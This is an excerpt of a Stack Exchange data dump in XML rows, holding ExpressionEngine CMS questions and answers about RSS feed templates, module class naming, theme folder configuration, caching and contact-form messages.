  <row Id="3709" PostTypeId="2" ParentId="3707" CreationDate="2013-01-13T21:03:12.057" Score="1" Body="&lt;p&gt;I think this should fix you up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/undefined_index_config_after_upgrade#reply_10005608&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/undefined_index_config_after_upgrade#reply_10005608&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to re-save the Matrix field that contains your Wygwam field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-01-17T23:22:58.810" LastActivityDate="2013-01-17T23:22:58.810" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3710" PostTypeId="2" ParentId="3708" CreationDate="2013-01-13T21:10:30.823" Score="2" Body="&lt;p&gt;If you search for SurgerEE on devotee - you'll be able to use that to query based on regular expression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dsurgeons/SurgerEE/wiki/String&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dsurgeons/SurgerEE/wiki/String&lt;/a&gt; is the function. I've used it lots of times and to really useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the brevity - on the iPad and mobile at the mo.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-01-13T21:10:30.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3711" PostTypeId="1" AcceptedAnswerId="3713" CreationDate="2013-01-13T22:08:07.833" Score="2" ViewCount="225" Body="&lt;p&gt;Likely a new n00b question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble getting my RSS setup and am hoping it's just something simple you can help me out with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My RSS feed is coming out like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DTHUv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason it's picking up the title correctly, but not the right field. Here's the HTML that I'm using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;channel&amp;gt;&#xA;&#xA;&amp;lt;title&amp;gt;&amp;lt;![CDATA[matt-steele.com Blog]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;&amp;lt;link&amp;gt;{site_url}&amp;lt;/link&amp;gt;&#xA;&amp;lt;description&amp;gt;{channel_description}&amp;lt;/description&amp;gt;&#xA;&amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;&amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;&amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;&amp;lt;dc:date&amp;gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;&amp;lt;admin:generatorAgent rdf:resource=&quot;http://expressionengine.com/&quot; /&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;{blog}&quot; limit=&quot;10&quot; dynamic_start=&quot;on&quot; disable=&quot;member_data|pagination&quot; status=&quot;open&quot;}&#xA;&amp;lt;item&amp;gt;&#xA;  &amp;lt;title&amp;gt;{exp:xml_encode}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;  &amp;lt;link&amp;gt;{title_permalink='blog'}&amp;lt;/link&amp;gt;&#xA;  &amp;lt;guid&amp;gt;{title_permalink='blog'}#When:{gmt_entry_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;  &amp;lt;description&amp;gt;&amp;lt;![CDATA[{blog_body}]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;  &amp;lt;dc:subject&amp;gt;{exp:xml_encode}{categories backspace=&quot;1&quot;}{category_name}, {/categories}{/exp:xml_encode}&amp;lt;/dc:subject&amp;gt;&#xA;  &amp;lt;dc:date&amp;gt;{gmt_entry_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;&amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;/channel&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feed is at &lt;a href=&quot;http://matt-steele.com/feed&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://matt-steele.com/feed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user94" LastActivityDate="2013-01-13T22:17:55.367" Title="Trouble setting up RSS" Tags="|channel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3712" PostTypeId="2" ParentId="3667" CreationDate="2013-01-13T22:11:02.407" Score="1" Body="&lt;p&gt;Have you tried using javascript to replace the + with  &lt;code&gt;&amp;amp;plus;&lt;/code&gt; or &lt;code&gt;&amp;amp;#43;&lt;/code&gt; before submitting? That section of EE code is encoding the email and calling the typography library, something in there may be choking on the +.&lt;/p&gt;&#xA;" OwnerUserId="772" LastEditorUserId="772" LastEditDate="2013-01-14T19:29:59.320" LastActivityDate="2013-01-14T19:29:59.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3713" PostTypeId="2" ParentId="3711" CreationDate="2013-01-13T22:17:23.180" Score="2" Body="&lt;p&gt;Try changing &lt;code&gt;channel=&quot;{blog}&quot;&lt;/code&gt; to &lt;code&gt;channel=&quot;blog&quot;&lt;/code&gt; without the curly brackets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can remove the &lt;code&gt;status=&quot;open&quot;&lt;/code&gt; parameter from your channel:entries tag. This is a default with the tag and doesn't need to be declared.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-13T22:17:23.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3714" PostTypeId="2" ParentId="3711" CreationDate="2013-01-13T22:17:55.367" Score="3" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/_downloads/sample_rss.txt&quot; rel=&quot;nofollow&quot;&gt;sample RSS feed&lt;/a&gt; provided by EllisLab, and you'll see that you're missing the outer RSS module tags as well as the required document declarations before your &lt;code&gt;&amp;lt;channel&amp;gt;&lt;/code&gt; XML element.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rss:feed channel=&quot;blog&quot;}&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:admin=&quot;http://webns.net/mvcb/&quot;&#xA;    xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then at the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/rss&amp;gt;&#xA;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you have &lt;code&gt;channel=&quot;{blog}&quot;&lt;/code&gt; in your Channel Entries tag parameters, when it should just be &lt;code&gt;channel=&quot;blog&quot;&lt;/code&gt; (you're specifying the blog name, not parsing a variable).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-13T22:17:55.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3715" PostTypeId="5" CreationDate="2013-01-13T23:07:36.583" Score="0" Body="&lt;p&gt;“White screen of death” (or WSOD) is the name for when an ExpressionEngine request has a blank response, without any errors or diagnostic info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cause is generally one of two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;PHP has run out of memory while processing the request. If that’s the case, &lt;a href=&quot;http://www.hostucan.com/webmaster-tutorials/increase-php-memory-limit&quot; rel=&quot;nofollow&quot;&gt;increasing PHP’s memory limit&lt;/a&gt; should solve it.&lt;/li&gt;&#xA;&lt;li&gt;A PHP error occurred, and EE isn't running in Debug mode, so the error was suppressed and the execution was aborted. You can enabled Debug mode by opening up your index.php or admin.php file (whichever is being used to access EE) and setting $debug=1;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditDate="2013-01-13T23:21:24.220" LastActivityDate="2013-01-13T23:21:24.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3716" PostTypeId="4" CreationDate="2013-01-13T23:07:36.583" Score="0" Body="“White screen of death” (or WSOD) is the name for when an ExpressionEngine request has a blank response, without any errors or diagnostic info." OwnerUserId="490" LastEditorUserId="490" LastEditDate="2013-01-13T23:21:28.790" LastActivityDate="2013-01-13T23:21:28.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3717" PostTypeId="2" ParentId="3675" CreationDate="2013-01-13T23:55:08.797" Score="7" Body="&lt;p&gt;Try my answer on this question - works for me on a single template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/405/ee-code-within-channel-entries/413#413&quot;&gt;EE Code within channel entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;shortcode_inside_field&quot; type=&quot;snippet&quot;}&#xA;    &amp;lt;p&amp;gt;Hi there! It's important to set type=&quot;snippet&quot; so that {shortcode_inside_field} will get automatically replaced with this sentence by the stash:parse tag later on.&amp;lt;/p&amp;gt;&#xA;    ... now run all kinds of complicated EE tags here to generate the content of the shortcode (be sure to add parse_tags=&quot;yes&quot;) ....&#xA;{/exp:stash:set}&#xA;&#xA;{exp:channel:entries}&#xA;    {exp:stash:parse process=&quot;end&quot;}&#xA;        {custom_field_containing_shortcodes}                &#xA;    {/exp:stash:parse}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... Also, make sure you're not using EE 2.5.3, since &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/216/path-tag-resolving-correctly-in-one-channel-but-not-in-another/220#220&quot;&gt;there's a bug&lt;/a&gt; affecting curly braces inside content entries (there's a hotfix for it if you can't upgrade to 2.5.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT TO INCLUDE PROPER ANSWER!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested this code with Matrix, and it works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries}&#xA;&#xA;        {gallery_matrix}&#xA;            {exp:stash:set type=&quot;snippet&quot;}&#xA;                {stash:image_{row_count}}&#xA;                    &amp;lt;img src=&quot;{src}&quot;&amp;gt;&#xA;                {/stash:image_{row_count}}&#xA;            {/exp:stash:set}&#xA;        {/gallery_matrix}&#xA;&#xA;        {exp:stash:parse process=&quot;end&quot;}&#xA;            {cf_content_body}&#xA;        {/exp:stash:parse}&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are two ways of doing this with Stash - either using that _{row_count} appendage, or using Stash's context parameter. Purists may prefer the latter, personally I prefer the former...&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-01-14T00:53:11.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3718" PostTypeId="1" AcceptedAnswerId="3721" CreationDate="2013-01-14T00:14:02.103" Score="5" ViewCount="573" Body="&lt;p&gt;I'm trying to create a module tag but it just isn't working, I'm following the Hello World tutorial at Ellis Lab. My module is installed and the MCP part is working. Here is my mod file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;class Facebook_Photos {&#xA;&#xA;    public $return_data = &amp;quot;&amp;quot;;&#xA;&#xA;    // Constructor&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;return_data = 'Hello World';&#xA;        return $this-&amp;gt;return_data;&#xA;    }&#xA;&#xA;    public function get_photos()&#xA;    {&#xA;        $this-&amp;gt;return_data = 'Hello World';&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Just in case here is my tag pair in my template (it's the only template that exists):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:facebook_photos:get_photos}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I’m getting the following error from EE:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The following tag cannot be processed:&lt;/p&gt;&#xA;&lt;p&gt;{exp:facebook_photos:get_photos}&lt;/p&gt;&#xA;&lt;p&gt;Please check that the ‘facebook_photos’ module is installed and that ‘get_photos’ is an available method of the module&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="767" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-15T02:56:27.993" Title="Module tag pair not working" Tags="|add-on-development|module|tags|debugging|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3720" PostTypeId="2" ParentId="3718" CreationDate="2013-01-14T05:11:57.753" Score="2" Body="&lt;p&gt;Ok, finally got it - took me forever but now I can hopefully help someone else that runs into this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked that my &lt;code&gt;mod.facebook_photos.php&lt;/code&gt; had the method &lt;code&gt;get_photos&lt;/code&gt; and that everything was spelled right and it was. So I thought I'd check if it was installed, it was - but at the same time it wasn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open &lt;code&gt;system/expressionengine/libraries/Template.php&lt;/code&gt; and go to line &lt;code&gt;1224&lt;/code&gt; you find the conditional that is causing the error. There I placed some debugging information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'Class Name: ' . $class_name . '&amp;lt;br/&amp;gt;';&#xA;echo 'Tag Data Class: &amp;lt;br/&amp;gt;';&#xA;var_dump($this-&amp;gt;tag_data[$i]['class']);&#xA;echo '&amp;lt;br/&amp;gt;Modules: &amp;lt;br/&amp;gt;';&#xA;var_dump($this-&amp;gt;modules);&#xA;echo '&amp;lt;br/&amp;gt;Module Data Class Name: &amp;lt;br/&amp;gt;';&#xA;var_dump($this-&amp;gt;module_data[$class_name]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything came back as expected except for the last one that threw a PHP error where it couldn't find that index. So I echoed out the &lt;code&gt;$class_name&lt;/code&gt; and I received &lt;code&gt;Facebook_photos&lt;/code&gt;. To my surprise on line &lt;code&gt;1205&lt;/code&gt; you see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$class_name = ucfirst($this-&amp;gt;tag_data[$i]['class']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what I did was go to my &lt;code&gt;upd.facebook_photos.php&lt;/code&gt; and renamed every place that Facebook_Photos to Fbphotos (I removed the underscores to create a shorter namespace). I then renamed all file names and class names to match this new namespace making sure that the class names have the first letter uppercased (as that is what &lt;code&gt;ucfirst&lt;/code&gt;) does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my tag pair had to change due to the new namespace - it now looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:fbphotos:get_photos}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the &lt;code&gt;get_photos&lt;/code&gt; method works as expected. Hope this helps someone else!&lt;/p&gt;&#xA;" OwnerUserId="767" LastEditorUserId="55" LastEditDate="2013-01-14T15:16:39.610" LastActivityDate="2013-01-14T15:16:39.610" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3721" PostTypeId="2" ParentId="3718" CreationDate="2013-01-14T05:14:53.017" Score="8" Body="&lt;p&gt;The ‘p’ in your module’s class name must be lowercased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html#the-core-module-file-mod-module-name-php&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/modules.html#the-core-module-file-mod-module-name-php&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Core Module file is used for outputting content via Templates and doing any processing that is required by both the Control Panel and any module tags contained in a template. &lt;strong&gt;It includes a class with a name that matches the package (the first letter of the class name must be capitalized).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditDate="2013-01-15T02:56:27.993" LastActivityDate="2013-01-15T02:56:27.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4720" PostTypeId="2" ParentId="3704" CreationDate="2013-01-14T08:03:57.070" Score="2" Body="&lt;p&gt;Jacob, it occurs to me that CE Cache could come to the rescue here, perhaps in more than one way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are able by intended site content patterns to use it in the sense normally intended, and choose for example the easiest Static Caching mode, you'll have EE actually not serving most of the page hits -- they'll come straight from CE's cache of precompiled html pages, except once each time the cache is broken by a new template or posting edit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus you won't be driving into whatever unforeseen fault mode is causing your immediate problem, and you'll also be getting very high performance. I'm seeing consistent sub-second page loads at any time on a shared server, after going to CE Cache in this simple mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what could be causing your situation actually? I would put some money on an old friend, collision of asynchronous processes. If for example one EE PHP instance is still running when another EE instance wants to mess with the cache for itself, that it has a file open (or directory; same thing at internal level in Unix) will prevent other action on that file (or directory). That's pretty likely what you're seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the problem, then the fix would be to assure only one EE PHP can fork at a time on a single server -- and then if you need more horsepower, you'd need a multi-server form of load balancing. The shared database would be the contention issue then, and it has the collision management to handle it, provided transactions are used properly in the EE application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wonder, there are ways to design for servers to handle such contention also, but they would be far too involved for web situations, and I think everyone uses the shared database to handle consistency, which is again what the file system can't do beyond locking you out. I mention this just for background, but presume you'd like to know it, and from a history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try the CE Cache route, myself -- it's pretty easy to set up, and you can probably work out cache busting settings pretty easily to handle whatever CP activity EE is likely to be providing your client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good fortune on this, my friend.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-01-14T08:03:57.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4721" PostTypeId="1" AcceptedAnswerId="4722" CreationDate="2013-01-14T09:55:47.407" Score="4" ViewCount="255" Body="&lt;p&gt;Should be a quick one for the EE add-on devs out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most add-ons do support having: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['path_third_themes']    = $base_path . &quot;/assets/third_themes/&quot;;&#xA;$config['url_third_themes']     = $base_url . &quot;/assets/third_themes/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that Field Editor and Redactee don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I popped open those add-ons to replace instances of theme_folder_url with url_third_themes but they still don't want to load the appropriate styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Steven&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-14T11:07:33.157" Title="theme_folder_url issue" Tags="|add-on|add-on-development|config|config-overrides|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4722" PostTypeId="2" ParentId="4721" CreationDate="2013-01-14T10:01:19.050" Score="4" Body="&lt;p&gt;Can you copy/paste a code snippet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what you have to do is search for theme_folder_url and replace it with url_third_themes - plus you also have to remember to drop the third_party on the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('theme_folder_url').'third_party/field_editor/css/field_editor.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('url_third_themes').'field_editor/css/field_editor.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have to do it on a lot of add-ons, which is mildly annoying as it should be sorted by now.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-01-14T10:01:19.050" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4723" PostTypeId="2" ParentId="4721" CreationDate="2013-01-14T10:04:51.977" Score="2" Body="&lt;p&gt;According the Core.php EE library, the config needs to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['theme_folder_url']     = $base_url . &quot;/assets/third_themes/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But latest versions of EE add the new third_party themes var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['url_third_themes']     = $base_url . &quot;/assets/third_themes/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But also keep in mind that EE will automatically append &quot;third_party&quot; to this. So for example the final URL will be &quot;example.com/assets/third_themes/third_party/redactee/&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Changing folder structure for 100% compatibility&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make things compatible for addons that do and dont support the new variable you can structure your assets folder to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/assets/themes/third_party/redactee/&#xA;/assets/themes/third_party/field_editor/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then set both the config vars to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['theme_folder_url']     = $base_url . &quot;/assets/themes/&quot;;&#xA;$config['url_third_themes']     = $base_url . &quot;/assets/themes/third_party/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should ensure all addons work with the new third_party themes location, regardless of supporting the url_third_themes var.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&#xA;This solution will involve moving the EE CP theme folders into the assets folder as well, but thats the price you pay to ensure 100% compatibility without editing 3rd party addons.&lt;/p&gt;&#xA;" OwnerUserId="540" LastEditorUserId="540" LastEditDate="2013-01-14T10:47:29.893" LastActivityDate="2013-01-14T10:47:29.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4724" PostTypeId="2" ParentId="3632" CreationDate="2013-01-14T10:34:15.660" Score="2" Body="&lt;p&gt;Depending on the intended purpose of your addon (internal vs public use etc) and the number of settings you'll need to store you might want to consider keeping your settings within the master config.php file or within a third_party/myaddon/config.php file. If you need a user-friendly UI for the settings then it's probably not viable, but if not then creating a custom table could be overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you could store and access an API key like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Within system/expressionengine/config/config.php&#xA;$config['myaddon_apikey'] = 'xyz123';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then within your addon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('myaddon_apikey') !== FALSE)&#xA;{&#xA;    $apikey = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('myaddon_apikey');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This approach gives you the added benefit of being able to version your addon's config settings which is likely to be useful when it comes to deployment, configuring different environments and so on.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-01-14T10:34:15.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4726" PostTypeId="1" CreationDate="2013-01-14T10:39:47.723" Score="3" ViewCount="115" Body="&lt;p&gt;I have designed a site that is mainly modals - so there is only index page and it is all driven by scripting. (Its an artistic site and the client wanted this look and feel). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am finishing the contact form and want the system message that appears after submission to either go away completely or appear inside the contact modal - but its not its own html page... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i supress these system messages? &#xA;Or how can I get the system message to appear inside my modal popup? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="782" LastActivityDate="2013-01-14T17:11:00.900" Title="How do I supress the system email message or get it to appear inside my template?" Tags="|forms|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4727" PostTypeId="2" ParentId="4721" CreationDate="2013-01-14T10:44:19.937" Score="2" Body="&lt;p&gt;For Field Editor you can add this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;theme_url = defined('URL_THIRD_THEMES') ? URL_THIRD_THEMES . '/field_editor/' : $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('theme_folder_url') . 'third_party/field_editor/';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;inside the &lt;code&gt;public function __construct()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then swap out the instances of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('theme_folder_url')&lt;/code&gt; and &lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;slash_item('theme_folder_url')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;theme_url&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;don't forget &lt;code&gt;protected $theme_url;&lt;/code&gt; somewhere after the start of the class itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example on line 238 of mcp.field_editor.php (v1.0.3) the following: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_head('&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;'.$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('theme_folder_url').'third_party/field_editor/css/field_editor.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would be changed to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_head('&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;' . $this-&amp;gt;theme_url . 'css/field_editor.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this is a bit rough and you'll have to work through each add-on accordingly though, probably something similar will need to happen for Redactee as well.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-01-14T11:07:33.157" LastActivityDate="2013-01-14T11:07:33.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4728" PostTypeId="2" ParentId="4726" CreationDate="2013-01-14T11:13:47.383" Score="0" Body="&lt;p&gt;If you're using a modal form which supports iFrames - I suggest that you load your contact form into that and then when you post, target the iFrame and it'll load the system message in there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, Post the form via AJAX using jQuery and completely bypass the system message, allowing you to display your own message/response.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-01-14T11:13:47.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
